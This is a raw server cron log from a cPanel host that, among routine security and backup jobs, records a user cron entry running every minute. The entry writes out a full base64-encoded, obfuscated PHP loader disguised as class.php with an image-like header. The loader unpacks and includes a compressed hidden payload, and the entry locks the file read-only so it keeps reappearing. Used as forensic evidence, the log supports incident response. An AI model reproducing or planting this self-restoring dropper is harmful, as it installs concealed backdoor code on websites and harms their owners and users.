Sep  8 19:04:01 server CROND[28719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:05:01 server CROND[29116]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:05:01 server CROND[29117]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:05:01 server CROND[29121]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:05:01 server CROND[29122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:05:01 server CROND[29131]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:05:01 server CROND[29132]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 19:05:01 server CROND[29134]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:05:01 server CROND[29133]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:06:01 server CROND[29982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:06:01 server CROND[29984]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:06:01 server CROND[29983]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:07:01 server CROND[30443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:07:01 server CROND[30444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:07:01 server CROND[30445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:08:01 server CROND[30846]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:08:01 server CROND[30847]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:08:01 server CROND[30848]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:09:01 server CROND[31381]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 19:09:01 server CROND[31382]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:09:01 server CROND[31380]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:09:01 server CROND[31383]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:10:01 server CROND[31776]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:10:01 server CROND[31777]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 19:10:01 server CROND[31781]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:10:01 server CROND[31779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:10:01 server CROND[31783]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:10:01 server CROND[31784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:10:01 server CROND[31786]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:10:01 server CROND[31785]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:11:01 server CROND[32621]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:11:01 server CROND[32622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:11:01 server CROND[32623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:12:01 server CROND[548]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:12:01 server CROND[547]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 19:12:01 server CROND[549]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:12:01 server CROND[550]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:13:01 server CROND[1027]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:13:01 server CROND[1028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:13:01 server CROND[1030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:14:01 server CROND[1625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:14:01 server CROND[1627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:14:01 server CROND[1626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 19:15:01 server CROND[2056]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 19:15:01 server CROND[2057]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 19:15:01 server CROND[2060]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 19:15:01 server CROND[2063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 19:15:01 server CROND[2064]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 19:15:01 server CROND[2061]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 19:15:01 server CROND[2062]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
